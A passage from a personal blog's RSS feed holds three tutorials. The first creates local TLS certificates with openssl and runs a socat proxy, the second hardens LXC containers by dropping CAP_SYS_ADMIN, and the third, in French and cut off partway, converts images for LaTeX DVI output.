&lt;p&gt;The full command to generate a certificate signature request looks like this:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;openssl req &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-new&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-key&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/localhost.key &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/localhost.csr &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-subj&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/C=XX/ST=XX/L=XX/O=XX/OU=XX/CN=localhost/emailAddress=X@X.XX&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-addext&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;subjectAltName = DNS:localhost, DNS:*.localhost, IP:127.0.0.1&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And finally  we sign the request (CSR) with our own authority (CA).
This command is a bit more tricky as we have to set again some fields.
It seems to be for security reasons: as this operation is thought to be done by a third party,
it should not trust your parameters and set its owns. In our case, we need to re-specify the number of days and our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subjectAltName&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;openssl has a more advanced/high level tool than the one we will use, namely &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl ca&lt;/code&gt; (doc: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man ca&lt;/code&gt;). &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl ca&lt;/code&gt; is able to copy some or all fields of a signing request but this tool has, in return, some other caveats. If you are interested, please read its manual and especially the section entitled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WARNINGS&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Our final command is:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;openssl x509 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-req&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-in&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/localhost.csr &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-CA&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/ca.pem &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-CAkey&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/ca.key &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-CAcreateserial&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/localhost.crt &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-days&lt;/span&gt; 3650 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-extensions&lt;/span&gt; v3_ext &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-extfile&lt;/span&gt; &amp;lt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[ v3_ext ]&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;subjectAltName = DNS:localhost, DNS:*.localhost, IP:127.0.0.1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man x509&lt;/code&gt; to know more about this command.&lt;/p&gt;

&lt;h2 id=&quot;with-socat&quot;&gt;With socat&lt;/h2&gt;

&lt;p&gt;socat is the swiss army knife of the network operator. In this example, we will use it as a simple TLS
proxy in front of a plain text application.&lt;/p&gt;

&lt;p&gt;First, we need to concatenate our certificate in a bundle for socat. The key must comes first, then its X.509 certificates, and finally the whole chain of X.509 certificates up your root certificates.&lt;/p&gt;

&lt;p&gt;For us:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/localhost.key  &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/localhost.crt &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/ca.pem &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/localhost-bundle.pem
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;For nginx, you need to concatenate X.509 certificates in the same order but you must not put the private key file. Instead, the private key file is specified independently in your configuration&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;To run socat on port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4443&lt;/code&gt; with TLS and forward requests in plain text to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost:3900&lt;/code&gt;, run:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;socat &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;openssl-listen:4443,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
reuseaddr,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
fork,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
verify=0,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
cert=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/localhost-bundle.pem&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
tcp4-connect:localhost:3900
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You may ask yourself why we put parameters like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reuseaddr&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fork&lt;/code&gt;. By using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reuseaddr&lt;/code&gt;,  we can reuse a port without waiting for an internal timeout in the kernel which is required to quickly restart socat, the article &lt;a href=&quot;https://hea-www.harvard.edu/~fine/Tech/addrinuse.html&quot;&gt;Bind: Address already in use&lt;/a&gt; explains on details why. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fork&lt;/code&gt; allows us to handle multiple connections in parallel. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;verify&lt;/code&gt; allows us to activate or deactivate mutual authentication, here we do not want to authenticate the client so we set it to zero.&lt;/p&gt;

&lt;h2 id=&quot;other-resources&quot;&gt;Other resources&lt;/h2&gt;

&lt;p&gt;Some other resources that could help you with TLS/X.509 certificates:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://deliciousbrains.com/ssl-certificate-authority-for-local-https-development/&quot;&gt;How to Create Your Own SSL Certificate Authority for Local HTTPS Development&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/tasks/administer-cluster/certificates/#openssl&quot;&gt;Certificates on Kubernetes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Fri, 10 Sep 2021 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2021-09-10/dev-with-tls/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2021-09-10/dev-with-tls/</guid>
      </item>
    
    
    
      <item>
        <title>Drop CAP_SYS_ADMIN in LXC</title>
        
        <description>&lt;p&gt;Hardening Linux Containers, and more especially &lt;a href=&quot;https://linuxcontainers.org/fr/lxc/introduction/&quot;&gt;LXC containers&lt;/a&gt;, is needed to prevent a malicious user to escape your container. However, even hardened, a container can’t be considered totally safe today, so don’t rely solely on this article for your security! Instead, you should consider it as part of your &lt;a href=&quot;https://en.wikipedia.org/wiki/Defense_in_depth_(computing)&quot;&gt;defense in depth strategy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To understand how a container can be hardened, we must understand how they work under the hood.
Jessie Frazelle describes magnificently their concepts in her blog post &lt;a href=&quot;https://blog.jessfraz.com/post/containers-zones-jails-vms/&quot;&gt;Setting the Record Straight: containers vs. Zones vs. Jails vs. VMs&lt;/a&gt;.
The critical point is that containers in Linux are not a top level design like Zone in Solaris and Jails in BSD:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A “container” is just a term people use to describe a combination of Linux [capabilities,] namespaces and cgroups. Linux [capabilities,] namespaces and cgroups ARE first class objects. NOT containers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In this article, we will focus on one first class object, capabilities, in a specific context, an LXC container.&lt;/p&gt;

&lt;p&gt;The challenge when it comes to hardening a LXC container, compared to other solutions, is that there is a great probability that you’ll run systemd in your container. Because systemd is a powerful init system, it assumes it also requires many permissions: we will see here how to start here despite our capability hardening.&lt;/p&gt;

&lt;p&gt;If you feel a bit lost with containers, a good start is the reading of this whitepaper by the NCCGroup: &lt;a href=&quot;https://www.nccgroup.trust/us/our-research/understanding-and-hardening-linux-containers/&quot;&gt;Understanding and Hardening Linux Containers&lt;/a&gt;. This post is also inspired by the article written by Christian Seiler, &lt;a href=&quot;https://blog.iwakd.de/lxc-cap_sys_admin-jessie&quot;&gt;LXC containers without CAP_SYS_ADMIN under Debian Jessie&lt;/a&gt;, but we’ll see that, due to evolutions in the Linux kernel, the proposed configuration does not work anymore out of the box.&lt;/p&gt;

&lt;h2 id=&quot;creating-a-standard-lxc-container&quot;&gt;Creating a standard LXC container&lt;/h2&gt;

&lt;p&gt;Before starting, you’ll need at least lxc-2.0.9. 
In any case, compiling LXC is quite straightforward.
Here is a quick reminder on how to compile LXC:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/lxc/lxc
&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;lxc
./autogen.sh
./configure
make &lt;span class=&quot;nt&quot;&gt;-j8&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;make &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now let’s create a basic container (we’ll use Fedora but the instructions should work for every distributions):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;lxc-create &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; harden &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; fedora
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you’ll need to debug the launch of your container, I can only recommend you this command line :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;lxc-start &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; harden &lt;span class=&quot;nt&quot;&gt;-lDEBUG&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This command will launch your container in foreground (so you’ll be able to see systemd logs at boot) and it will log many useful informations in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/lxc/harden.log&lt;/code&gt; file.&lt;/p&gt;

&lt;h2 id=&quot;capabilities-split-the-root&quot;&gt;Capabilities: split the root&lt;/h2&gt;

&lt;p&gt;Historically, there is a huge difference between the root user (with uid 0) which bypasses any access control and the other users of the system which must pass every control. So, if you want to send an ICMP request via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt; command for example, you must run the command as root (with the magic of &lt;a href=&quot;https://en.wikipedia.org/wiki/Setuid&quot;&gt;setuid&lt;/a&gt; to enable non privileged users to launch it). As the command is launched as root for everyone, ping can load a kernel module, change the time on your system, erase every files, etc. That’s dangerous, particularly if someone finds a vulnerability in your command and uses it to do a &lt;a href=&quot;https://en.wikipedia.org/wiki/Privilege_escalation&quot;&gt;privilege escalation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A good idea would be to only allow the ping command to execute actions related to network as root, not everything. You can do that with capabilities, by giving the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CAP_NET_RAW&lt;/code&gt; capability to your ping command.&lt;/p&gt;

&lt;p&gt;But capabilities, and more precisely &lt;strong&gt;capability bounding set&lt;/strong&gt;, can also be used to reduce the capabilities that any process of your container can inquire. Indeed, if you allow a process in your container to load kernel modules, what prevent it to load a faulty module enabling the attacker to escape the container? So, one way to prevent this catastrophic scenario is to drop &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CAP_SYS_MODULE&lt;/code&gt; from the capability bounding set. When you use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lxc.cap.keep&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lxc.cap.drop&lt;/code&gt;, you’re modifying this capability bounding set of your container.&lt;/p&gt;

&lt;p&gt;Let’s start by displaying your current &lt;strong&gt;capability bounding set&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;capsh &lt;span class=&quot;nt&quot;&gt;--print&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Over all the existing capabilities, one is a bit special: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CAP_SYS_ADMIN&lt;/code&gt;.
It is considered by somes as &lt;a href=&quot;https://lwn.net/Articles/486306/&quot;&gt;“the new root”&lt;/a&gt; because of its large and not strictly defined scope.
This capability is also very useful because it is needed to mount filesystems from the container.
Unfortunately, it enables interactions with critical API of the kernel like ioctl, IPC resources, namespaces, etc.
Considering the power of this capability, we want to drop it in out container. 
But can we only do it?&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# /var/lib/harden/config
&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;lxc.cap.drop&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sys_admin&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now try to restart your container… and enjoy the crash:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-raw&quot;&gt;Failed to mount tmpfs at /dev/shm: Operation not permitted
Failed to mount tmpfs at /run: Operation not permitted
Failed to mount tmpfs at /sys/fs/cgroup: Operation not permitted
Failed to mount cgroup at /sys/fs/cgroup/systemd: No such file or directory
[!!!!!!] Failed to mount API filesystems, freezing.
Freezing execution.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It looks like the only solution is to manually mount these folders before systemd execution.
The operation will be slightly different from what Christian Seiler wrote as our kernel supports the cgroup namespace.
Indeed, the following directive will do nothing:&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# /var/lib/harden/config
&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;lxc.mount.entry&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;cgroup:mixed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here is a fragment of the function that handle the previous directive, we directly exit the function before running anything when cgroup namespaces are supported:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/*
 /src/lxc/cgroups/cgfsng.c
 /src/lxc/cgroups/cgfs.c
*/&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;cgfsng_mount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hdata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;cm&quot;&gt;/* some initializations */&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cgns_supported&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;cm&quot;&gt;/* we exit the function here */&lt;/span&gt;
  &lt;span class=&quot;cm&quot;&gt;/* rest of the function that will never be executed */&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Developpers put this condition as, with the cgroup namespace, we can safely mount the cgroup hierarchy like any other filesystem in our LXC configuration file:&lt;/p&gt;

&lt;pre style=&quot;white-space: pre&quot;&gt;
# /var/lib/harden/config
lxc.mount.entry = tmpfs dev/shm tmpfs rw,nosuid,nodev,create=dir 0 0
lxc.mount.entry = tmpfs run tmpfs rw,nosuid,nodev,mode=755,create=dir 0 0
lxc.mount.entry = tmpfs run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k,create=dir 0 0
lxc.mount.entry = tmpfs run/user tmpfs rw,nosuid,nodev,mode=755,size=50m,create=dir 0 0
lxc.mount.entry = tmpfs sys/fs/cgroup tmpfs rw,nosuid,nodev,create=dir 0 0
&lt;/pre&gt;

&lt;p&gt;But to mount our cgroup hierarchy (we only need one, for systemd), we need to create the mount point first… We can’t put the following line:&lt;/p&gt;

&lt;pre style=&quot;white-space: pre&quot;&gt;
# /var/lib/harden/config
lxc.mount.entry = cgroup sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,name=systemd 0 0
&lt;/pre&gt;

&lt;p&gt;Instead, the only solution I found was to create a (simple) &lt;a href=&quot;https://linuxcontainers.org/lxc/manpages//man5/lxc.container.conf.5.html#lbBC&quot;&gt;LXC mount hook&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# /usr/local/bin/mount-cgroup on the host&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$LXC_ROOTFS_MOUNT&lt;/span&gt;/sys/fs/cgroup/systemd
mount cgroup &lt;span class=&quot;nv&quot;&gt;$LXC_ROOTFS_MOUNT&lt;/span&gt;/sys/fs/cgroup/systemd &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; cgroup &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; rw,nosuid,nodev,noexec,relatime,xattr,name&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;systemd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, we call this script from our configuration:&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# /var/lib/harden/config
&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;lxc.hook.mount&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/usr/local/bin/mount-cgroup&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And finally your container is working !&lt;/p&gt;

&lt;p&gt;But one more thing: instead of creating a capabilities blacklist, can we create a more secure whitelist ?
The answer is yes:&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;py&quot;&gt;lxc.cap.keep&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;lxc.cap.keep&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;chown ipc_lock ipc_owner kill net_admin net_bind_service&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you want to dig the question further, you can find the whole capability list in the dedicated man page &lt;a href=&quot;http://man7.org/linux/man-pages/man7/capabilities.7.html&quot;&gt;capabilities(7)&lt;/a&gt; and how to use them with LXC in the LXC man page &lt;a href=&quot;https://linuxcontainers.org/fr/lxc/manpages//man5/lxc.container.conf.5.html#lbAV&quot;&gt;lxc.container.conf(5)&lt;/a&gt;. Have fun!&lt;/p&gt;

&lt;!--
## cgroups: group your processes

[Wikipedia](https://en.wikipedia.org/wiki/Cgroups) proposes the following definition:

&gt; cgroups is a Linux kernel feature that limits, accounts for, and isolates the resource usage (CPU, memory, disk I/O, network, etc.) of a collection of processes.

It might not be totally clear at the first read, but cgroups are two differents things:

  1. A method to create groups of processus
  2. A method to apply limitation, accounting, etc. on these groups

If you want to read more on this, the article [Control Groups vs. Control Groups](http://0pointer.de/blog/projects/cgroups-vs-cgroups.html) by Lennart Poettering explains how systemd uses cgroups and why the distinction is crucial.

## Namespaces: isolate your system resources

Michael Kerrisk wrote an interesting [serie of articles about namespaces](https://lwn.net/Articles/531114/) on LWN. I find its definition of namespaces particularly interesting:

&gt; The purpose of each namespace is to wrap a particular global system resource in an abstraction that makes it appear to the processes within the namespace that they have their own isolated instance of the global resource.

--&gt;
</description>
        <pubDate>Wed, 14 Jul 2021 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2021-07-14/lxc-drop-capsysadmin/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2021-07-14/lxc-drop-capsysadmin/</guid>
      </item>
    
    
    
      <item>
        <title>Latex, DVI et images</title>
        
        <description>&lt;p&gt;Pour les compilateurs LaTeX compilant vers le format DVI-Tex (DeVice Independent) / PostScript, 
il n’est pas possible d’intégrer directement des images au format JPG, PNG ou autre.
Si aujourd’hui le plus simple est d’utiliser un compilateur LaTeX qui produit des fichiers au format PDF et supporte les formats d’image précédents,
ce n’est pas toujours possible.&lt;/p&gt;

&lt;p&gt;Dans ce guide, nous supposons donc que nous souhaitons garder une sortie DVI-Tex / PostScript.
Pour ce faire, nous utiliserons l’outil &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert&lt;/code&gt; du projet &lt;a href=&quot;https://imagemagick.org/index.php&quot;&gt;ImageMagick&lt;/a&gt; (fiche &lt;a href=&quot;https://fr.wikipedia.org/wiki/ImageMagick&quot;&gt;Wikipedia&lt;/a&gt;)
pour convertir préalablement les images au format EPS.&lt;/p&gt;

&lt;h2 id=&quot;installer-imagemagick&quot;&gt;Installer ImageMagick&lt;/h2&gt;

&lt;p&gt;Si la commande &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert&lt;/code&gt; n’est pas disponible sur votre système, vous allez devoir installer ImageMagick.&lt;/p&gt;

&lt;p&gt;Sur Fedora :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;dnf &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;ImageMagick
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sur Ubuntu :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt update
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;imagemagick
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;notre-image-de-test&quot;&gt;Notre image de test&lt;/h2&gt;

&lt;p&gt;Nous allons utiliser &lt;a href=&quot;https://quentin.dufour.io/assets/images/posts/dijkstra.jpg&quot;&gt;une photo&lt;/a&gt; de &lt;a href=&quot;https://fr.wikipedia.org/wiki/Edsger_Dijkstra&quot;&gt;Dijkstra&lt;/a&gt; pour nos tests, que vous pouvez télécharger comme suit :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget https://quentin.dufour.io/assets/images/posts/dijkstra.jpg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;loutil-convert&quot;&gt;L’outil convert&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;convert&lt;/code&gt; peut être utilisé sans paramètre, mais dans notre cas le résultat de la conversion sera décevant :&lt;/p&gt;

